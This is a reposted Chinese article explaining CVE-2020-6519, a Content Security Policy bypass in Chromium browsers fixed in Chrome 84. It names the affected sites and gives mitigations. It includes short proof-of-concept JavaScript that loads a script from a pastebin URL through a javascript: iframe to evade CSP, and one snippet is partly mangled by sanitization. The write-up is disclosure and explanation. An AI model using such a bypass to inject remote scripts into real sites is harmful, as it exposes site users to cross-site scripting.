千家信息网

Chrome浏览器的CSP策略是怎样绕过漏洞

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章给大家分享的是有关Chrome浏览器的CSP策略是怎样绕过漏洞,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。下面讲述了原作者发现
千家信息网最后更新 2026年10月31日Chrome浏览器的CSP策略是怎样绕过漏洞

本篇文章给大家分享的是有关Chrome浏览器的CSP策略是怎样绕过漏洞,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

下面讲述了原作者发现谷歌浏览器Chrome的CSP(内容安全策略)完全绕过漏洞(CVE-2020-6519),影响2019年3月之后发布的所有版本Chrome浏览器,从而导致很多大公司网站的CSP策略在该漏洞面前会完全失效。该漏洞最终收获谷歌奖励$3000。

CSP策略完全绕过的悲剧

非常震惊的是,我发现该漏洞存在基于Chromium内核的Chrome、Opera和Edge系列浏览器,且影响Windows、Mac和Android平台,攻击者可以利用该漏洞,绕过自2019年3月起至2020年7月的所有Chrome内置CSP策略。

该漏洞的严重性在于,由于Chrome浏览器有超过20亿的用户,占据超过65%的浏览器市场,因此该漏洞潜在的受影响用户会达数十亿。

另外,很多大公司网站都存在该漏洞。如Facebook,WellsFargo, Gmail , Zoom, Tiktok, Instagram, WhatsApp, Investopedia, ESPN, Roblox, Indeed, Blogger, Quora等。

用简单方法完全突破Chrome的CSP策略限制

大家感兴趣的话,可以点此参考研究谷歌公开的POC验证文件,但漏洞原因总结来说就是:

通常情况下,在设置了CSP策略的Chrome浏览器中,如果要执行以下JS脚本,由于CSP策略不允许脚本中的源或操作执行,所以会在浏览端实现阻拦。(pastebin链接中是一段脚本):

/* this is a script that pops an alert message */top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';/* this call will fail due to CSP */var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

但是,如果用_javascript: src的iframe方式来运行上述JS脚本,则可以完全突破Chrome浏览器的CSP策略限制,成功实现脚本运行:

/* this is a script that pops an alert message */top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';/* this call will succeed although CSP */document.querySelector('DIV')[xss_clean]="";

就这样简单粗暴!致使任意操作系统中的数十亿客户端浏览器就受到了影响,攻击者可以通过此种方式在其客户端中执行CSP提权,进而实现恶意代码执行。

这里要说明的是,有一些配置了CSP策略的网站并不受该漏洞影响,如Twitter, Github, LinkedIn, Google Play Store, Yahoo's Login Page, PayPal 和 Yandex,这些网站在客户端配置中应用了服务端形式的nonce 或 hash校验方式,因此其相对安全,不受影响。

漏洞影响

CSP,内容安全策略,即网站一种访问策略和规则,它告诉客户端哪些外部资源是可以在网站中加载执行 ,客户端以此为遵循,对网站发起访问。

在CSP策略规则下,网站可以针对客户端浏览器的JS代码等请求,执行允许/阻拦操作,避免客户端用户遭受XSS等攻击影响,以此形成安全屏障。

这里要明确的是,由于攻击者利用该漏洞,还需构建请求访问网站的恶意脚本,所以Chrome浏览器里的这个CSP策略绕过漏洞,并不能直接就影响到网站,这也是该漏洞被评级为中危的原因。

该漏洞的基本情况是,Chrome浏览器的这种CSP策略绕过缺陷,导致很多网站自身的CSP策略规则失效。这里分两种情况,第一,有些网站配置了严格的CSP策略,像上述的Twitter,该漏洞不能让其策略失效;第二,有些网站配置了一般的CSP策略,该漏洞可以让其CSP策略完全失效。

除以上提到的网站外,基于此漏洞情况,可以保守估计,包括电子商务、银行、电信、政府和公用事业在内的数以千计的行业网站都会受影响,攻击者可以利用该漏洞,向这些网站的客户端用户注入恶意代码。

可能有人会说,这种漏洞利用的前提是,攻击者必须在网站上获得代码执行权限啊,这样的CSP绕过漏洞没啥意思嘛。但我不这样认为。

因为大多数网站都依赖CSP策略来提供客户端的安全防护,所以,这种漏洞的出现,对网站自身的安全运行机制来说,就是一个严重的风险隐患。

半年前,我发现了WhatsApp Web/Desktop应用中的一个存储型XSS漏洞,其中就大量描述了CSP绕过漏洞可以导致的危害,其CSP绕过漏洞的危险之处在于,很多网站的不当CSP策略配置,可让攻击者注入恶意脚本,实现与任意网站相关域名的通信。

也正因为如此,要在网站中发现一个管理者不可控的代码执行漏洞非常之难,但是,这种漏洞如果一旦存在,就可能会对网站本身生成致命威胁。

漏洞测试

我自己编写了一个测试脚本,然后利用Chrome的开发者工具,就能简单测试出哪些网站受该漏洞影响。测试中调用的外部JS脚本链接为https://pastebin.com/raw/XpHsfXJQ,它会触发漏洞实现。

以下是Facebook网站存受该漏洞的影响情况:

以下是Github网站存受该漏洞的影响情况:

不受该漏洞的影响情况:

修复建议

对网站运营方来说,首先要确保网站有严格的CSP策略规则,其次就是可以考虑向其中加入一些服务端的nonce或hash校验措施,或是JS脚本和恶意代码注入检测机制,各种安全策略的共同配置,才能保证网站安全。对用户端来说,就更新Chrome吧,更新到84版本或更高版本。

漏洞补丁

谷歌的Chromium项目团队已及时修复了该漏洞,并在Chrome 84后进行了补丁更新,漏洞最终被评级为中危(CVSS 6.5),作者收获了$3,000的奖励。

以上就是Chrome浏览器的CSP策略是怎样绕过漏洞,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

漏洞 网站 策略 浏览 影响 浏览器 脚本 客户 安全 客户端 情况 攻击 代码 攻击者 配置 恶意 用户 就是 规则 测试 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技股 保险科技 互联网保险 喔噻互联网科技有限公司 百单网互联网科技有限公司怎么样 哈尔滨大商圈互联网科技有限公司 互联网巨头科技公司 金诺互联网科技 科技互联网技术 天扬科技互联网广告 银川新华互联网科技学校地址 宁波青枫互联网科技有限公司 顶级互联网科技成果有哪些 移动互联网科技股 移动互联网年度科技创新 上海创道互联网络科技有限公司 互联网风格科技公司名称 唯美互联网科技 科技互联网专业工作会议发言稿 互联网科技创新创业项目 北京品多多互联网科技有限公司 互联网黑科技 伟宏互联网科技 互联网科技有限公司经营范围 圆梦互联网科技 西安互联网科技公司 昭通云南众福互联网科技有限公司 青岛科技大学互联网大赛研究生 威龙国际互联网科技公司 国大互联网教育科技有限公司薪资 深圳互联网科技园地址
0